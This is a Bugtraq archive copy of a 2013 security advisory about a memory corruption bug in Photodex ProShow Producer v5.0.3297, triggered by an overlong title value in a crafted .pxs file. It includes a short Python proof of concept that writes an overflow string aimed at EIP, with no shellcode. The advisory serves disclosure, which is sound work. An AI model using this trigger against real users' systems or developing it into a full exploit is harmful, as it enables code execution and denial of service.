Bugtraq mailing list archives

[IA46] Photodex ProShow Producer v5.0.3297 ColorPickerProc() Memory Corruption


From: Inshell Security <info () inshell net>
Date: Thu, 14 Feb 2013 20:18:28 +0100

Inshell Security Advisory
http://www.inshell.net


1. ADVISORY INFORMATION
-----------------------
Product:        Photodex ProShow Producer
Vendor URL:     www.photodex.com
Type:           Improper Restriction of Operations within the Bounds
                of a Memory Buffer[CWE-119]
Date found:     2013-02-14
Date published: 2013-02-14
CVSSv2 Score:   4,4 (AV:L/AC:M/Au:N/C:P/I:P/A:P)
CVE:            -


2. CREDITS
----------
This vulnerability was discovered and researched by Julien Ahrens from
Inshell Security.


3. VERSIONS AFFECTED
--------------------
Photodex ProShow Producer v5.0.3297, older versions may be affected too.


4. VULNERABILITY DESCRIPTION
----------------------------
A memory corruption vulnerability has been identified in Photodex
ProShow Producer v5.0.3297.

When opening a crafted style file (.pxs), the application loads the
"title" value from the pxs file.

The ColorPickerProc function does not properly validate the length of
the string loaded from the "title" value from the pxs file before using
it in the further application context, which leads to a memory
corruption condition with possible code execution depending on the
version of the operating system.

Vulnerable function definition (all.dnt):
 __stdcall ColorPickerProc(x, x, x, x)

An attacker needs to force the victim to open a crafted .pxs file in
order to exploit the vulnerability. Successful exploits can allow
attackers to execute arbitrary code with the privileges of the user
running the application. Failed exploits will result in
denial-of-service conditions.


5. PROOF-OF-CONCEPT (Code / Exploit)
------------------------------------
The following generated string has to be inserted into a .pxs file to
trigger the vulnerability on Windows XP SP3.

#!/usr/bin/python
file="poc.txt"

junk1="\x41" * 233
eip="\x42" * 4
junk2="\xCC" * 100

poc=junk1 + eip + junk2

try:
    print ("[*] Creating exploit file...\n");
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print ("[*] File successfully created!");
except:
    print ("[!] Error while creating file!");


For further Screenshots and/or PoCs visit:
http://security.inshell.net/advisory/46


6. SOLUTION
-----------
None


7. REPORT TIMELINE
------------------
2013-02-14: Discovery of the vulnerability
2013-02-14: Full Disclosure because the vendor ignored all previous
            reports.


8. REFERENCES
-------------
http://security.inshell.net/advisory/46


Current thread: